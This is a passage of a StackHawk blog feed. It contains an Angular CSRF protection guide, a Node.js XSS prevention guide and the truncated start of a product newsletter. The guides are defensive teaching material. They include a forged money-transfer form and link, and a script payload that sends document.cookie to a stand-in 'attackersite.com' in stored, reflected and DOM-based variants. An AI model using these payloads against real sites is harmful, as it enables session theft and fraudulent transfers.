isPermaLink="false">https://www.stackhawk.com/lp/angular-csrf-protection-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Cross-site request forgery (also known as CSRF, XSRF, one-click attack, and session riding) is an attack that doesn&amp;#39;t break into the software system but can cause unwanted actions for application users. The consequences can be devastating in applications where state change causes irreversible results, such as in financial applications. So, how do you protect against such attacks? If your application uses Angular, CSRF protection comes built-in. &lt;/p&gt;&lt;p&gt;Angular is a front-end framework that uses TypeScript. It became popular in enterprise applications where consistent design pattern is crucial to productive development. Paired with a back-end framework, Angular provides built-in CSRF protection. How, you ask?&lt;/p&gt;&lt;p&gt;In a CSRF attack, the attacker uses methods like phishing that will cause the user to perform requests to the server. The server cannot distinguish the request because the session cookies are sent automatically with the request and thus authenticates the action. But Angular&amp;#39;s &lt;b&gt;HttpClient&lt;/b&gt; module has all the interfaces needed for this authentication from happening on the client side. We use &lt;b&gt;HttpClientXsrfModule&lt;/b&gt; to firewall connections to the server that originate anywhere outside our Angular application.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll look at what a CSRF attack is and an example. We&amp;#39;ll then use Node.js to write a server with an endpoint and make use of an npm library for CSRF middleware. You&amp;#39;ll learn how to use Angular&amp;#39;s built-in module for CSRF protection and implement it in your own web applications. &lt;/p&gt;&lt;h2&gt;What Is a CSRF Attack, and Why Should You Care?&lt;/h2&gt;&lt;p&gt;When building web applications, authentication is an integral part of the structure if the application serves private activities and actions available to the user. When authentication is present, security becomes a crucial part of the application. You don’t want to compromise your users&amp;#39; security and data, especially in data-critical applications. &lt;/p&gt;&lt;p&gt;CSRF is one such attack that will exploit the user’s security by sending an unwanted request to the server that is beneficial to the attacker. CSRF attacks are relevant only in cookie-based session handling because the attacker exploits the session&amp;#39;s ID stored in cookies to perform tasks that require session tokens. &lt;/p&gt;&lt;h2&gt;Example of a CSRF Attack&lt;/h2&gt;&lt;p&gt;If you&amp;#39;ve used any banking or banking-integrated applications, you&amp;#39;ve probably come across the flow of money transfer. Let&amp;#39;s say you need to transfer $10 to Maxwell. &lt;/p&gt;&lt;p&gt;Your API request might look like this: &lt;i&gt;POST&lt;/i&gt; &lt;b&gt;https://money123.com/transfer &lt;/b&gt;with &lt;b&gt;acct=Maxwell123&amp;amp;amount=10&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;The parameter &lt;b&gt;acct &lt;/b&gt;is the receiving account ID, which is &lt;b&gt;Maxwell123&lt;/b&gt; for the sake of convenience. The &lt;b&gt;amount &lt;/b&gt;parameter is the amount you are sending to him. &lt;/p&gt;&lt;p&gt;An attacker, Kevin, is also a user of the same banking application. When you log in to the bank application, the cookie stores the session token. If Kevin manages to send a request that looks like this from your browser, &lt;/p&gt;&lt;p&gt;&lt;i&gt;POST &lt;/i&gt;&lt;b&gt;https://money123.com/transfer &lt;/b&gt;with &lt;b&gt;acct=Kevin123&amp;amp;amount=100000&lt;/b&gt; &lt;/p&gt;&lt;p&gt;he is able to transfer $100,000 to himself because the session cookie is present along with the request. The server is then unable to differentiate whether the action was made willingly, so it acts like a legitimate request. To achieve this, Kevin can devise an HTML form like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;https://money123.com/transfer?acct=Kevin123&amp;amp;AccctId&amp;amp;amount=100000&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;acct&amp;quot; value=&amp;quot;Kevin123&amp;quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;100000&amp;quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;button type=&amp;quot;submit&amp;quot; value=&amp;quot;Check My Horoscope Today!&amp;quot; &amp;gt;&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Social-engineering attacks like sending the link through an email will cause the victim to perform the action themselves. &lt;/p&gt;&lt;p&gt;If the request is a simple, like &lt;i&gt;GET&lt;/i&gt; &lt;b&gt;https://money123.com/transfer?acct=Kevin123&amp;amp;amount=100000&lt;/b&gt;, then simply including the link is enough: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;https://money123.com/transfer?acct=Kevin123&amp;amp;amount=100000&amp;quot;&amp;gt;Check My Horoscope Today!&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In the next section, we&amp;#39;ll learn how to protect your Angular application from CSRF attacks. &lt;/p&gt;&lt;h2&gt;CSRF Protection in Angular&lt;/h2&gt;&lt;p&gt;Angular supports CSRF protection through a mechanism called &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-header_token&quot;&gt;&lt;u&gt;cookie-to-header token&lt;/u&gt;&lt;/a&gt;. To protect against CSRF attacks, the server-side program should cooperate with Angular. We&amp;#39;ll look at a sample implementation of the API in Node.js as an example. &lt;/p&gt;&lt;h3&gt;Server-Side&lt;/h3&gt;&lt;p&gt;In a server-side program, the program sends a random token in a cookie. Angular reads the token from the cookie. Now, while making every request to an API endpoint, it sends the cookie in the headers. The server compares the token that is sent with the token that it received from the client. If the tokens match, the server verifies the action. If the tokens don&amp;#39;t match, it won’t. &lt;/p&gt;&lt;p&gt;Let’s look at our basic server-side program in Node.js. We’ll use a library called &lt;a href=&quot;https://www.npmjs.com/package/csurf&quot;&gt;&lt;u&gt;csurf&lt;/u&gt;&lt;/a&gt;, which is a CSRF middleware that provides the option to store the CSRF token in a cookie or a session. There are other libraries like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;import cookieParser from &amp;#39;cookie-parser&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;import csurf from &amp;#39;csurf&amp;#39;;
var csrfProtection = csurf({ cookie: true })&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// We need cookie-parser to be initialized as well.
app.use(cookieParser())&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/csrfEndpoint&amp;#39;, csrfProtection, (req, res, next) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;res.cookie(&amp;#39;XSRF-TOKEN&amp;#39;, req.csrfToken(), { httpOnly: false });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;csurf({ cookie: true }) &lt;/b&gt;specifies that the token should be stored in a cookie. The default value of &lt;b&gt;false&lt;/b&gt; states that the token should be stored in a session. csurf uses the double submit cookie method that sets the CSRF token under the hood. It sends a random value in the cookie and the request value. To prevent login-form CSRF, the site should generate a value and store it on the user&amp;#39;s browser. It also implements the verification middleware to check if both values match from the client-side. &lt;/p&gt;&lt;p&gt;We set XSRF-TOKEN as the CSRF cookie name as per the Angular conventions, which are sent in the header. &lt;/p&gt;&lt;h3&gt;Enabling CSRF in Angular&lt;/h3&gt;&lt;p&gt;Since our application server is sending us a token named XSRF-TOKEN, we&amp;#39;ll use Angular&amp;#39;s &lt;a href=&quot;https://angular.io/guide/http#security-xsrf-protection&quot;&gt;&lt;u&gt;&lt;b&gt;HttpClientXsrfModule&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; to protect every outgoing request from CSRF attacks. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll add the &lt;b&gt;HttpClientXsrfModule&lt;/b&gt; in the import section of the module where our component is declared:&lt;/p&gt;&lt;p&gt;&lt;code&gt;imports:[&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;HttpClientXsrfModule&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, any request sent from this component automatically sends the cookie XSRF-TOKEN as the default value and header as X-XSRF-TOKEN. &lt;/p&gt;&lt;p&gt;If you wish to use a different cookie and header name, &lt;b&gt;HttpClientXsrfModule &lt;/b&gt;has a method called &lt;b&gt;withOptions. &lt;/b&gt;The usage looks like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;imports: [
HttpClientModule,
HttpClientXsrfModule.withOptions({
cookieName: &amp;#39;your-custom-Xsrf-Cookie&amp;#39;,
headerName: &amp;#39;your-custom-Xsrf-Header&amp;#39;
})
]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;HttpClientXsrfModule &lt;/b&gt;implements its default &lt;b&gt;HttpXsrfInterceptor &lt;/b&gt;as its interceptor. An interceptor is a service that transforms an outgoing HTTP request. &lt;/p&gt;&lt;p&gt;We can also disable the CSRF protection using &lt;b&gt;HttpClientXsrfModule.disable()&lt;/b&gt;. &lt;/p&gt;&lt;h2&gt;Custom Interceptor Class&lt;/h2&gt;&lt;p&gt;We have an endpoint where we can set CSRF cookie &lt;b&gt;/csrfEndpoint&lt;/b&gt; in our server program. You need a custom interceptor implementation in such cases. &lt;/p&gt;&lt;p&gt;&lt;code&gt;@Injectable()
export class CustomInterceptor implements HttpInterceptor {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;constructor(private tokenExtractor: HttpXsrfTokenExtractor) {
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;intercept(req: HttpRequest, next: HttpHandler): Observable&amp;lt;HttpEvent&amp;gt; {
const cookieheaderName = &amp;#39;X-XSRF-TOKEN&amp;#39;;
let csrfToken = this.tokenExtractor.getToken() as string;
if (csrfToken !== null &amp;amp;&amp;amp; !req.headers.has(cookieheaderName)) {
req = req.clone({ headers: req.headers.set(cookieheaderName, csrfToken) });
}
return next.handle(req);
}
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We extend the &lt;b&gt;HttpInterceptor&lt;/b&gt; class. &lt;b&gt;HttpXsrfTokenExtractor &lt;/b&gt;is also provided in &lt;b&gt;HttpClientXsrfModule. &lt;/b&gt;It has a method called &lt;b&gt;getToken()&lt;/b&gt; that extracts the token needed to be sent with every outgoing request. &lt;b&gt;HttpInterceptor &lt;/b&gt;comes with a method called &lt;b&gt;intercept()&lt;/b&gt; that takes an HttpRequest object and a HttpHandler object that handles the request next once every request is successfully intercepted. &lt;/p&gt;&lt;p&gt;We then check if the request&amp;#39;s headers have the cookie header has X-XSRF-TOKEN per default Angular values. Then, we set the outgoing request with the token and the cookie header. Every request now contains the token and the cookie name so it can compare them with the values it sent. Now, in the provider section of the module, add the following if you use the default HttpInterceptor:&lt;/p&gt;&lt;p&gt;&lt;code&gt;providers: [
{ provide: HTTP_INTERCEPTORS, useExisting: HttpXsrfInterceptor, multi: true }
]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#39;re using the custom interceptor, add the following in the provider section: &lt;/p&gt;&lt;p&gt;&lt;code&gt;{ provide: HTTP_INTERCEPTORS, useClass: CustomInterceptor, multi: true }
{ provide: HttpXsrfTokenExtractor, useClass: HttpXsrfCookieExtractor }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Many people tend to ignore CSRF protection in the login form because no session is present when the person is not logged in. But let&amp;#39;s say an attacker has a user&amp;#39;s password and username. The attacker can then log in to the application with the victim&amp;#39;s credentials. You can avoid this attack for a critical application by storing the previous session ID and including it as the CSRF token in the login form. Every time a user creates a new session, be sure to update the old session ID with the new one. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Don&amp;#39;t Let Your App Fall Victim to a Rookie Attack&lt;/h2&gt;&lt;p&gt;In this post, we inspected a tiny Node.js server application that sets CSRF token in the cookie and header. You also learned how Angular sets the cookie and header values in every outgoing request. We looked at how to implement our own custom interceptor class when we have a custom URL for setting CSRF tokens. The csurf middleware checks for the CSRF token and allows it to proceed once it verifies the request is coming from the user. &lt;/p&gt;&lt;p&gt;Even though CSRF attacks don&amp;#39;t cause any state change, they can cause victims to perform unwanted actions. If your web application doesn&amp;#39;t use the measures to avoid it, your users can be tricked into performing unwanted actions without their knowledge. It&amp;#39;s best for the developer to handle the scenario since most of the frameworks come with an implementation of their CSRF protection. For more information about CSRF attacks, check out &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;this post&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Bigyan Ghimire. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/bigyan-ghimire-b38a02108/&quot;&gt;&lt;u&gt;&lt;i&gt;Bigyan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a fullstack developer experienced in architecting applications from the ground up. He works on designing patterns for development teams, scaling, and building reliable and fault-tolerant systems—all the way up to deploying and scaling applications.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;There&amp;#39;s a lot to learn about web application vulnerability mitigation. And the amount of information to master in the web development domain is already intimidating enough. Nevertheless, we must go to great lengths to keep ourselves up to date on the latest trends in vulnerabilities and exploits.&lt;/p&gt;&lt;p&gt;So in this article, which is part of a series exploring vulnerabilities on the web, we&amp;#39;ll discuss one particularly pernicious kind that we must deal with to secure our applications: cross-site scripting, or XSS.&lt;/p&gt;&lt;p&gt;I&amp;#39;ll briefly explain the basics of cross-site scripting and how it works. Then we can explore the subject within the context of the Node.js stack. Don&amp;#39;t worry whether or not you have enough experience working with Node.js. I&amp;#39;ll keep the explanations grounded enough so that you can apply the concepts with any development stack. Nevertheless, I recommend that you take some time and familiarize yourself with Node.js and JavaScript. You can start&lt;a href=&quot;https://nodejs.org/en/docs/guides/&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Making Sense of XSS&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s start with the basics. If you don&amp;#39;t know what cross-site scripting is or have never seen it in action, don&amp;#39;t worry. It&amp;#39;s simple to understand.&lt;/p&gt;&lt;p&gt;Most web applications rely on user input and data manipulation as their main conduits for functionality. After all, providing these kinds of interactions is their features&amp;#39; core service. Some examples are social media, bank portals, and music services.&lt;/p&gt;&lt;p&gt;Due to the nature of these interactions, web applications are inherently vulnerable to bad actors who seek to profit from the legitimate users of those services. Suppose any of these bad actors can, in some way, manipulate or influence what other users might see or be able to interact with on their site. In that case, they can trick a legitimate user into unintentionally surrendering their data or guide them away to a malicious site.&lt;/p&gt;&lt;p&gt;Some of these bad actors accomplish this through some form of JavaScript injection. Hence, cross-site scripting.&lt;/p&gt;&lt;p&gt;Now, the avenues that attackers might use to take advantage of our platforms are plentiful and diverse. But unfortunately, no global mitigation strategy really exists, at least not one that&amp;#39;s effective enough. Therefore, it&amp;#39;s necessary to have a robust understanding of concepts like injection, scripting, HTTP protocols, and the development stack they&amp;#39;re working on to tackle this issue competently. Additionally, one must understand the context of every vulnerability to mitigate the threats effectively.&lt;/p&gt;&lt;h2&gt;XSS Example&lt;/h2&gt;&lt;p&gt;Attackers usually produce cross-site scripting attacks in JavaScript or another scripting language that a browser can process. Modern browsers can process hundreds of scripts and requests on every page load. This means that exploiting the client&amp;#39;s security can sometimes be relatively straightforward. So much so, in fact, that cross-site scripting can exploit something as simple as a comment section.&lt;/p&gt;&lt;p&gt;Imagine, if you will, a user profile page in a social network. This user has allowed comments on his posts, and the developer did not think to escape the user input. &lt;/p&gt;&lt;p&gt;A bad actor could input the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt; window.location=&amp;#39;http://attackersite.com/?cookie=&amp;#39; + document.cookie &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This simple script code would then be stored in the database and executed every time a user visits the page. This means that victims will send their cookies to the attacker&amp;#39;s website just by loading the profile page. The attacker waits for the cookies to arrive, the code runs stealthily, and the victims are none the wiser.&lt;/p&gt;&lt;h2&gt;Types of XSS Vulnerabilities&lt;/h2&gt;&lt;p&gt;As I mentioned before, these attacks are not exclusive to comments or any specific user input. Attackers can very well inject these exploits into other areas of the application by various means. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore some of them.&lt;/p&gt;&lt;h3&gt;Reflected XSS Attacks&lt;/h3&gt;&lt;p&gt;These attacks are the simplest forms of cross-site scripting and depend heavily on tactics like phishing and social engineering to exploit their victims. The attacker simply needs to create a URL with a malicious query string injected into it and convince the victim to click on it by masking it or using another means of deception.&lt;/p&gt;&lt;p&gt;&lt;code&gt;http://legitimatesite.com/search?q=&amp;lt;script&amp;gt;window.location=&amp;#39;http://attackersite.com/?cookie=&amp;#39;+document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once the victim clicks and the browser redirects to the website, the script executes and sends the cookies without the victim realizing something is wrong.&lt;/p&gt;&lt;p&gt;This kind of attack is very effective, especially when the attacker has developed sophisticated means to deceive users into clicking on links. Therefore, it is essential to protect websites against them.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Persistent XSS Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The pattern we explored in the previous section is an excellent example of a persistent cross-site scripting attack. These attacks take advantage of the social features that exist on many websites where users can input and share data between them.&lt;/p&gt;&lt;h3&gt;DOM-Based XSS Attacks&lt;/h3&gt;&lt;p&gt;Finally, DOM-based cross-site scripting attacks are similar to reflected cross-site scripting attacks in that they depend on manipulating the victim into clicking on a malicious link. In this case, however, the link alters the target website&amp;#39;s DOM directly and injects malicious scripts into the otherwise safe features on the page.&lt;/p&gt;&lt;p&gt;An example would look something like this.&lt;/p&gt;&lt;p&gt;&lt;code&gt;http://legitimatesite.com/dashboard.html?default=&amp;lt;script&amp;gt;window.location=&amp;#39;http://attackersite.com/?cookie=&amp;#39;+document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this case, &amp;#39;default&amp;#39; would be customarily used to populate or set the default index on a select element or a picker. Then, when the victim clicks on the link, the select element is modified to execute the script when they interact with it.&lt;/p&gt;&lt;h2&gt;Mitigating XSS Vulnerabilities in Node.js&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Most of these attacks depend either on a&lt;b&gt; weak or nonexistent escape policy on user input&lt;/b&gt; or on the &lt;b&gt;execution of scripts&lt;/b&gt; on the site. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Therefore, the first step in cross-site scripting attack mitigation should be minimizing the amount of untrusted user input, escaping the rest, and employing robust policies against scripts running on the site. Of course, this means developers must apply XSS mitigation measures on the Node.js platform.&lt;/p&gt;&lt;h3&gt;Input Restriction&lt;/h3&gt;&lt;p&gt;A straightforward way to mitigate a lot of potential vulnerabilities in your application is to replace manual input with elements that restrict what kind of data a user can input. For example, if you only expect a user to input integers, consider using a select element with the possible values.&lt;/p&gt;&lt;p&gt;This approach can reduce the amount of work needed to protect your applications from attacks. However, do keep in mind that sufficiently experienced and motivated attackers can circumvent these solutions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;We must perform input validation to ensure that only secure data reaches the server. Therefore, validation of user input should happen on the client side.&lt;/p&gt;&lt;p&gt;Something as simple as this can go a long way to protecting us against script injection:&lt;/p&gt;&lt;p&gt;&lt;code&gt;var v = require(&amp;#39;validator&amp;#39;);
var escaped_input = v.escape(user_input);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You can also validate user input with server-side JavaScript with the module &lt;a href=&quot;https://www.npmjs.com/package/strip-js&quot;&gt;&lt;u&gt;&lt;b&gt;strip-js&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;. This module can automatically remove script tags, sanitize input data, and strip all scripts found on &amp;#39;href&amp;#39; properties or otherwise.&lt;/p&gt;&lt;h3&gt;Cookie Policies&lt;/h3&gt;&lt;p&gt;Cookies are one of the most frequent targets of cross-site scripting attacks. One effective way to crack down on these attacks is to implement an HttpOnly cookie policy. This policy essentially prevents JavaScript from having access to cookies.&lt;/p&gt;&lt;p&gt;One way to achieve this in Node.js is the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.use(express.session({
    secret: &amp;quot;MY_SECRET&amp;quot;,
    cookie: {
      httpOnly: true,
      secure: true
    }
  })
)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In your code, it would look something like this:&lt;/p&gt;&lt;p&gt;HttpOnly instructs the browser not to expose cookies to any script.&lt;/p&gt;&lt;p&gt;If you want to read more about cross-site scripting in general and get a more robust understanding of the logistics behind it, I encourage you to read our pillar post about it&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. Additionally, you can explore our security solution platform and find out how you can mitigate all vulnerabilities in your application effortlessly &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Managing Risk&lt;/h2&gt;&lt;p&gt;Protecting applications from the myriad vulnerabilities that exist daily can be an arduous task. Moreover, these vulnerabilities, which reside in our own platforms, can be the single most significant liability to the stability and security of our businesses and our client&amp;#39;s data.&lt;/p&gt;&lt;p&gt;Many exploits can affect our platforms in different ways. For example, threats like DDOS can temporarily bring services down and affect our quality of service. Meanwhile, sophisticated SQL injection attacks can wreak havoc on databases and even facilitate the takeover of servers. Understanding this is important because we can&amp;#39;t eliminate all threats since we only have so much time and energy. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[September Newsletter: Custom Authentication Scripts, StackHawk + Semgrep Webinar, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/september-newsletter-custom-authentication-scripts-stackhawk-semgrep-webinar</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Authentication Support Level Up&lt;/b&gt; ⬆️ &lt;/p&gt;&lt;p&gt;We know that getting authentication configured correctly can be tricky. And, we know that no two authentication scenarios are the same. &lt;/p&gt;&lt;p&gt; That&amp;#39;s why we have introduced custom authentication scripts. &lt;/p&gt;&lt;p&gt; Whether you need to customize your auth for scanning APIs, running in test environments, or supporting token timeouts, you can now customize the StackHawk YAML to support your specific auth scenario.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#appauthenticationscript&quot;&gt;Read the Docs&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Starting in 60 Minutes!&lt;/h2&gt;&lt;p&gt;Tune in at 10 AM PT today as Clint Gibler, Head of Security Research at r2c, and Scott Gerlach, Chief Security Officer at StackHawk, dive into what&amp;#39;s new with application security tooling. &lt;/p&gt;&lt;p&gt;They will talk about the trends impacting security right now and give a live demo showing how to run StackHawk and Semgrep in CI/CD.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/9116327608380/WN_WkpX2v4iROm-MFeEEnvUqg&quot;&gt;Save Your Spot&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;API-Driven App Adds Now In Beta&lt;/h2&gt;&lt;p&gt;Modern software delivery teams want to leverage automation to make application security testing as efficient as possible, especially if they have a large number of apps or microservices that require testing. &lt;/p&gt;&lt;p&gt;That’s why we are exposing the StackHawk API so teams can add applications to StackHawk without ever entering the Web UI. &lt;/p&gt;&lt;p&gt;We are putting the polish on this feature and are looking for beta testers. If your team has tons of apps or microservices you are looking to test, register to be part of our public beta!&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.typeform.com/to/TnZiv0BR&quot;&gt;Register&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Podcast] &lt;/b&gt;&lt;a href=&quot;https://anchor.fm/sean-g7/episodes/Web-Security-w-Scott-Gerlach-e16r3ve&quot;&gt;Web Security w/ Scott Gerlach on Web Perspectives&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/1_flXEBzEsE&quot;&gt;ZAP Deep Dive: The Sites Tree&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives]&lt;/b&gt; &lt;a href=&quot;https://youtu.be/kD540gUWJ3I&quot;&gt;ZAP Deep Dive: Report Generation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/&quot;&gt;NodeJS Command Injection: Examples and Prevention&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/golang-content-security-policy-guide-what-it-is-and-how-to-enable-it/&quot;&gt;Golang Content Security Policy Guide: What It Is and How to Enable It&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-visibility-slack/&quot;&gt;Application Security Observability&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-security-based-development-should-work/&quot;&gt;How Security-Based Development Should Work&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;October 5-7: &lt;a href=&quot;https://events.itrevolution.com/virtual/&quot;&gt;DevOps Enterprise Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;October 5-7: &lt;a href=&quot;https://snyk.io/snykcon/&quot;&gt;SnykCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;October 12: &lt;a href=&quot;https://www.ctoconnection.com/events/series/2021-10-12-trends-for-technologists&quot;&gt;CTO Summit - Improving AppSec&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;October 13-15: &lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/&quot;&gt;KubeCon + CloudNativeCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;October 20-21: &lt;a href=&quot;https://vuejslive.com/&quot;&gt;Vue.js&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;October 22 &amp;amp; 25: &lt;a href=&quot;https://reactadvanced.com/&quot;&gt;React Advanced London&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;October 26-28: &lt;a href=&quot;https://apiworld.co/&quot;&gt;API World&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;💼 Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Test 